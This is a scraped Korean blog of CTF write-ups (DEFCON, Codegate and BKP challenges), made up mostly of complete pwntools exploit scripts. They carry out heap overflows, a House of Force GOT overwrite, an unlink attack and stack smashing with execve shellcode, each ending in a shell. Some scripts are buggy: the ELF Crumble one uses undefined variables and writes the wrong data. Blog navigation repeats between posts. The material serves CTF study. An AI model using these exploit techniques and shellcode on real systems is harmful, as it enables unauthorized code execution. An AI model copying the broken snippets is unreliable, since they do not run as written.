처음에 정상적으로 동작하지 않는 바이너리와 파일명이 "fragment~" 인 8개의 파일이 제공된다.

파일명으로 미루어보아 fragment 파일들을 이용해 정상적으로 동작시켜야 하는 것임을 추측할 수 있다.

 

직접 fragment 파일을 디어셈블하여 순서를 각각 맞춰 동작시킬 수도 있지만, 

파이썬의 itertools 모듈을 이용하면 이러한 작업을 훨씬 쉽게 수월하게 할 수 있다.

 

itertools 에서 permutations() 를 이용해 순열을 만들 수 있다.

모든 순열의 바이너리를 생성하여 실행하는 코드를 짜고 결과 값을 출력하도록 하면 플래그가 나온다..

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import itertools
import subprocess
 
file = "FINDFLAG"
 
# read the excutable
broken = open("broken""rb")
bin  = broken.read()
 
broken.close()
 
bin = bin.split('X'*807)
 
if len(broken_list) != 2:
    print "ERROR: binary incorrectly"
 
 
bin_1 = bin[0]
bin_2 = bin[1]
 
fragments = []
 
for i in xrange(19):
 
    frag = open("fragment_" + str(i)+ ".dat""rb")
    fragments.append(frag.read())
 
    frag.close()
 
for order in itertools.permutations(fragments):
 
    order = "".join(order)
 
    f = open(file"wb")
    f.write(bin_1 + bin_2 + fragments)
    f.close()
 
    try:
        res = subprocess.check_output([file], shell=True)
        print res
 
    except:
        continue
 
cs

 

'ctf' 카테고리의 다른 글

[DEFCON 2018 CTF] ELF Crumble  (0) 2018.06.02
[Codegate 2018 CTF] Super Marimo  (0) 2018.02.08
[Codegate 2018 CTF] RedVelvet  (0) 2018.02.08
[Codegate 2018 CTF] BaskinRobins31  (0) 2018.02.08
[BKP 2016 CTF] cookbook  (0) 2017.06.01
[DEFCON 2017 CTF] beatmeonthedl  (0) 2017.05.09
Posted by woodonggyu

댓글을 달아 주세요

# exploit.py

from pwn import *
from time import *


def ShowMe(name, profile):

        p.sendline('show me the marimo')
        print p.recvuntil('>> ')

        p.sendline(name)
        print p.recvuntil('>> ')

        p.sendline(profile)
        print p.recvuntil('>> ')

 

def View(index, data):

        p.sendline('V')
        print p.recvuntil('>> ')

        sleep(3)

        p.sendline(index)
        print p.recvuntil('>> ')

        p.sendline('M')
        print p.recvuntil('>> ')

        p.sendline(data)
        print p.recvuntil('>> ')

        p.sendline('B')
        print p.recvuntil('>> ')

 

def Leak(index):

        global puts, oneshot

        p.sendline('V')
        print p.recvuntil('>> ')

        p.sendline(index)
        data = p.recvuntil('>> ')

        puts = u64(data[82:88].ljust(8,'\x00'))
        libc = puts - 0x6f690
        oneshot = libc + 0x45216

        log.info('puts_libc = ' + hex(puts))
        log.info('libc = ' + hex(libc))
        log.info('oneshot = ' + hex(oneshot))

        p.sendline('B')
        print p.recvuntil('>> ')


def exploit(data):

        p.sendline('V')
        print p.recvuntil('>> ')

        p.sendline('0')
        print p.recvuntil('>> ')

        p.sendline('M')
        print p.recvuntil('>> ')

        p.sendline(data)
        print p.recvuntil('>> ')

        p.sendline('B')
        print p.recvuntil('>> ')

        p.sendline('V')
        print p.recvuntil('>> ')

        p.sendline('1')
        print p.recvuntil('>> ')

        p.sendline('M')
        print p.recvuntil('>> ')

        p.sendline(p64(oneshot))

        p.interactive()

 


if __name__ == '__main__':

        p = process('./marimo')

        print p.recvuntil('>> ')

        ShowMe('AAAA', 'BBBB')
        ShowMe('AAAA', 'BBBB')


        View('0', 'B'*32 + p64(0x0) + p64(0x21) + p64(0xffffffff) + p64(0x603018))

        Leak('1')

        exploit('C'*32 + p64(0x0) + p64(0x21) + p64(0xffffffff) + p64(0x603018) + p64(0x603018))

'ctf' 카테고리의 다른 글

[DEFCON 2018 CTF] ELF Crumble  (0) 2018.06.02
[Codegate 2018 CTF] Super Marimo  (0) 2018.02.08
[Codegate 2018 CTF] RedVelvet  (0) 2018.02.08
[Codegate 2018 CTF] BaskinRobins31  (0) 2018.02.08
[BKP 2016 CTF] cookbook  (0) 2017.06.01
[DEFCON 2017 CTF] beatmeonthedl  (0) 2017.05.09
Posted by woodonggyu

댓글을 달아 주세요

# exploit.py

import angr

def main():

        proj = angr.Project('./RedVelvet', load_options={'auto_load_libs': False})
        path_group = proj.factory.path_group(threads=4)
        path_group.explore(find=0x401631, avoid=(0x401621, 0x4016cb, ))
        return path_group.found[0].state.posix.dumps(1)

if __name__=='__main__':
        print(repr(main()))

 

결과 값은 "What_You_Wanna_Be?:)_lc_la" 가 나오게 되는데, 게싱을 통해 아래와 같이 정확한 플래그 알아냈다.

FLAG : What_You_Wanna_Be?:)_la_la

'ctf' 카테고리의 다른 글

[DEFCON 2018 CTF] ELF Crumble  (0) 2018.06.02
[Codegate 2018 CTF] Super Marimo  (0) 2018.02.08
[Codegate 2018 CTF] RedVelvet  (0) 2018.02.08
[Codegate 2018 CTF] BaskinRobins31  (0) 2018.02.08
[BKP 2016 CTF] cookbook  (0) 2017.06.01
[DEFCON 2017 CTF] beatmeonthedl  (0) 2017.05.09
Posted by woodonggyu

댓글을 달아 주세요

# exploit.py


from pwn import *
from time import *

p = process('./BaskinRobins31')
#p = remote('ch41l3ng3s.codegate.kr', 3131)

sleep(0.3)
print p.recv(1024)

payload = str('3') + 'A'*183
payload += p64(0x40087a) + p64(0x1) + p64(0x602040) + p64(0x10) + p64(0x4006d0)
payload += p64(0x4008a4)

p.sendline(payload)

data = p.recv(1024)

read = u64(data[237:245])
libc = read - 0xf7250
oneshot = libc + 0x45216

log.info('read = ' + hex(read))
log.info('libc = ' + hex(libc))
log.info('oneshot = ' + hex(oneshot))

r_payload = 'A'*184
r_payload += p64(oneshot)

p.sendline(r_payload)

p.interactive()

 

'ctf' 카테고리의 다른 글

[Codegate 2018 CTF] Super Marimo  (0) 2018.02.08
[Codegate 2018 CTF] RedVelvet  (0) 2018.02.08
[Codegate 2018 CTF] BaskinRobins31  (0) 2018.02.08
[BKP 2016 CTF] cookbook  (0) 2017.06.01
[DEFCON 2017 CTF] beatmeonthedl  (0) 2017.05.09
[DEFCON 2017 CTF] smashme  (0) 2017.05.08
Posted by woodonggyu

댓글을 달아 주세요

[BKP 2016 CTF] cookbook

ctf 2017. 6. 1. 18:30

# file cookbook

cookbook: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2397d3d3c3b98131022ddd98f30e702bd4b88230, stripped

[*] '/ctf/cookbook'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

NX, SSP 가 걸려있는 32bit 바이너리이다. 

 

0x084d0a0 영역에 1036byte 만큼 할당하는데 데이터를 dword_804d0a0 + 140 부터 입력을 받아 top chunk 를 덮어쓸 수 있다.

 

위에서 top chunk 를 덮을 수 있고, give() 함수에서 malloc 의 size 를 컨트롤 할 수 있어 House of Force 기법 사용이 가능하다.

단, ASLR 이 걸려있을 경우 top chunk 를 leak 해야 한다.

 

 

# exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *
import hexdump
 
 
def input_name(name):
 
        print p.recvuntil('what\'s your name?')
        p.sendline(str(name))
 
        print p.recvuntil('[q]uit\n')
 
 
 
 
def delete():
 
        p.sendline('c')
        print p.recvuntil('[q]uit\n')
 
        p.sendline('n')
        print p.recvuntil('[q]uit\n')
 
        p.sendline('g')
        p.sendline('B'*100)
 
        print p.recvuntil('[q]uit\n')
        p.sendline('d')
 
        print p.recvuntil('[q]uit\n')
        p.sendline('q')
 
 
 
 
def give(size, data):
 
        p.sendline('g')
        print p.recvuntil('how long is the name of your cookbook? (hex because you\'re both a chef and a hacker!) : ')
 
        p.sendline(str(size))
        p.sendline(str(data))
 
        print p.recvuntil('[q]uit\n')
 
 
 
def leak():
 
        p.sendline('c')
        print p.recvuntil('[q]uit\n')
 
        p.sendline('p')
        data = p.recvuntil('[q]uit\n')
 
        leaked = u32(data[22:26])
 
        p.sendline('q')
        print p.recvuntil('[q]uit\n')
 
        return leaked
 
 
 
def overwrite_topchunk(data):
 
        p.sendline('c')
        print p.recvuntil('[q]uit\n')
 
        p.sendline('g')
        p.sendline(str(data))
 
        print p.recvuntil('[q]uit\n')
 
        p.sendline('q')
        print p.recvuntil('[q]uit\n')
 
 
 
def overwrite_free(size, data):
 
        p.sendline('g')
        print p.recvuntil('how long is the name of your cookbook? (hex because you\'re both a chef and a hacker!) : ')
 
        malloc_size = format(size & 0xffffffff"08x")
 
        p.sendline(str(malloc_size))
        p.sendline(str(data))
 
        print p.recvuntil('[q]uit\n')
 
        raw_input('>')
 
        p.sendline('g')
        print p.recvuntil('how long is the name of your cookbook? (hex because you\'re both a chef and a hacker!) : ')
 
        p.sendline('256')
        p.sendline(p32(system_libc))
 
        print p.recvuntil('[q]uit\n')
 
        p.sendline('R')
        p.interactive()
 
 
if __name__ == '__main__' :
 
        elf = ELF('./cookbook')
 
        #p = process('./cookbook')
        p = remote('localhost'7778)
 
        input_name('/bin/sh\x00')
 
        delete()
 
 
 
        # leak heap && system_libc address
 
        give('40c''\x00'*120 + p32(elf.got['printf'])*2)
 
        system_libc = leak() - 0x49670 + 0x3ada0
 
        p.sendline('R')
        print p.recvuntil('[q]uit\n')
 
        give('40c''\x00'*120 + p32(0x0804d0a0)*2)
 
        heap = leak() - 0x12b0
        topchunk = heap + 0x16bc
 
        log.info('system_libc = ' + hex(system_libc))
        log.info('topchunk = ' + hex(topchunk))
        log.info('free@got = ' + hex(elf.got['free']))
 
 
        # overwrite topchunk -> 0xffffffff
 
        overwrite_topchunk('C'*896 + '\xff\xff\xff\xff')
 
 
 
        # overwrite free@got -> system_libc
        # free@got - &topchunk - 0x8(chunk header)
 
        malloc_size = elf.got['free'- topchunk - 0x8
        overwrite_free(malloc_size, 'AAAA')
 
 
cs

 

 

'ctf' 카테고리의 다른 글

[Codegate 2018 CTF] RedVelvet  (0) 2018.02.08
[Codegate 2018 CTF] BaskinRobins31  (0) 2018.02.08
[BKP 2016 CTF] cookbook  (0) 2017.06.01
[DEFCON 2017 CTF] beatmeonthedl  (0) 2017.05.09
[DEFCON 2017 CTF] smashme  (0) 2017.05.08
[0 2017 CTF] char  (0) 2017.03.28
Posted by woodonggyu

댓글을 달아 주세요

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

# file beatmeonthedl

beatmeonthedl: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, not stripped

[*] '/ctf/beatmeonthedl'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
[+] Starting local process './beatmeonthedl': Done


동적 링크된 64bit 바이너리이다. smashme 와 같이 NX, PIE, SSP 등이 걸려있지 않다.

 

각각의 기능은 분석하는데 크게 어렵지 않으므로.. 스스로 해보길 바란다..

취약점은 간단하다. 56byte 만큼 힙에 할당하는데 아래쪽에 read() 함수를 통해 128byte 만큼 입력받는 heap overflow 취약점이다.

 

1
2
3
4
5
6
7
8
9
10
#define unlink(P, BK, FD) {                                            
  FD = P->fd;                                                          
  BK = P->bk;                                                          
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                
    malloc_printerr (check_action, "corrupted double-linked list", P); 
  else {                                                               
    FD->bk = BK;                                                       
    BK->fd = FD;                                                       
  }                                                                    
}
cs

현재, 기존의 unlink 취약점은 위와 같은 코드로 패치되어 사용할 수 없다.

 

하지만 바이너리 내에 free() 함수 내부를 보면 패치된 코드가 아닌 예전의 unlink 코드인 같다.

즉, unsafe unlink 기법을 사용하지 않고 unlink 를 통해 익스플로잇이 가능하다.

 

# exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
 
 
shellcode = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7
        \xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
 
def Request(data):
 
        p.sendline('1')
        print p.recvuntil('Request text > ')
 
        p.send(str(data))
        print p.recvuntil('| ')
 
 
def Print():
 
        p.sendline('2')
        print p.recvuntil('| ')
 
 
def Delete(num):
 
        p.sendline('3')
        print p.recvuntil('choice: ')
 
        p.send(str(num))
        print p.recvuntil('| ')
 
 
def Update(num, data):
 
        p.send('4')
        print p.recvuntil('choice: ')
 
        p.send(str(num))
        print p.recvuntil('data: ')
 
        p.send(str(data))
        print p.recvuntil('| ')
 
 
 
if  __name__ == '__main__':
 
        binary = ELF('./beatmeonthedl')
        p = process('./beatmeonthedl')
        # beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me', 6969
 
        print p.recvuntil('Enter username: ')
        p.send('mcfly')
 
 
        # leak heap address
 
        print p.recvuntil('Enter Pass: ')
        p.send('BBBBBBBBBBBBBBBBBBBBBBBB')
 
        data = p.recv(1024)
 
        if data[41:42== '\x0a' :
                heap_leak = u32(data[38:41+ '\x00'- 0x10
                log.info('heap address = ' + hex(heap_leak))
        else :
                heap_leak = u64(data[38:42+ '\x00'*4- 0x10
                log.info('heap address = ' + hex(heap_leak))
 
        shellcode_addr = heap_leak + 0xd0
        log.info('shellcode location = ' + hex(shellcode_addr))
 
        p.send('mcfly')
        print p.recvuntil('Enter Pass: ')
 
        p.sendline('awesnap')
        print p.recvuntil('| ')
 
 
        Request('AAAA')
        Request('BBBB')
        Request('CCCC')
        Request('DDDD')
 
        Delete(1)
 
 
        # unlink
 
        Update(0"A"*48 + p64(0+ p64(0x41+ p64(0x609958-24+ p64(shellcode_addr))
        Update(2"\x90"*14 + "\xeb\x1e" +  "\x90"*30 + shellcode)
 
        p.sendline('3')
        print p.recvuntil('choice: ')
 
        p.sendline('0')
 
        p.interactive()
cs

'ctf' 카테고리의 다른 글

[Codegate 2018 CTF] BaskinRobins31  (0) 2018.02.08
[BKP 2016 CTF] cookbook  (0) 2017.06.01
[DEFCON 2017 CTF] beatmeonthedl  (0) 2017.05.09
[DEFCON 2017 CTF] smashme  (0) 2017.05.08
[0 2017 CTF] char  (0) 2017.03.28
[HITCON 2016 CTF] Secret Holder  (0) 2017.03.10
Posted by woodonggyu

댓글을 달아 주세요

[DEFCON 2017 CTF] smashme

ctf 2017. 5. 8. 22:38

# file smashme

smashme: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=29c2093a0eca94730cd7fd861519602b3272a4f7, not stripped

[*] '/ctf/smashme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

static 으로 링크된 64bit 바이너리이다. NX, SSP, PIE 등은 걸려있지 않다.

 

바이너리는 엄청 단순하다. gets() 를 통한 buffer overflow 라는 것을 바로 알 수 있다.

사용자로부터 입력을받고 sub_400320() 함수를 실행하는데, 실행 시 JUMPOUT(&word_400326); 라는 곳으로 점프한다.

디버깅을 해보면 __strstr_sse2 함수이고, 두 개의 인자를 비교한다. 비교값은 내가 넣은 payload 와 "Smash me outside, how bout dAAAAAAAAAAA" 이라는 문자열을 비교한다.

 

이러한 문자열을 같이 넣어준다면 정상적으로 v3 값이 어떤 값으로 설정될 것이고 프로그램이 정상적으로 종료된다.

따라서, 이 문자열과 payload 길이를 잘 조절하여 RET 주소를 조작할 수 있다.

 

# exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
#context.log_level = 'debug'
 
#binary = ELF('./smashme')
 
#r = process('./smashme')
= remote('smashme_omgbabysfirst.quals.shallweplayaga.me'57348)
 
 
shellcode = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff
            \x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
 
rdi = 0x4c4e1b
 
payload = "\x90"*6 + shellcode + "Smash me outside, how bout dAAAAAAAAAAA" + p64(rdi)
 
print r.recvuntil('Welcome to the Dr. Phil Show. Wanna smash?')
r.send(payload)
 
r.interactive()
cs


 

'ctf' 카테고리의 다른 글

[BKP 2016 CTF] cookbook  (0) 2017.06.01
[DEFCON 2017 CTF] beatmeonthedl  (0) 2017.05.09
[DEFCON 2017 CTF] smashme  (0) 2017.05.08
[0 2017 CTF] char  (0) 2017.03.28
[HITCON 2016 CTF] Secret Holder  (0) 2017.03.10
[CodeGate 2017 CTF] angrybird  (0) 2017.02.22
Posted by woodonggyu

댓글을 달아 주세요

[pwnable.kr] echo2

2017. 4. 16. 21:34

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr] tiny_easy

2017. 4. 7. 10:15

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.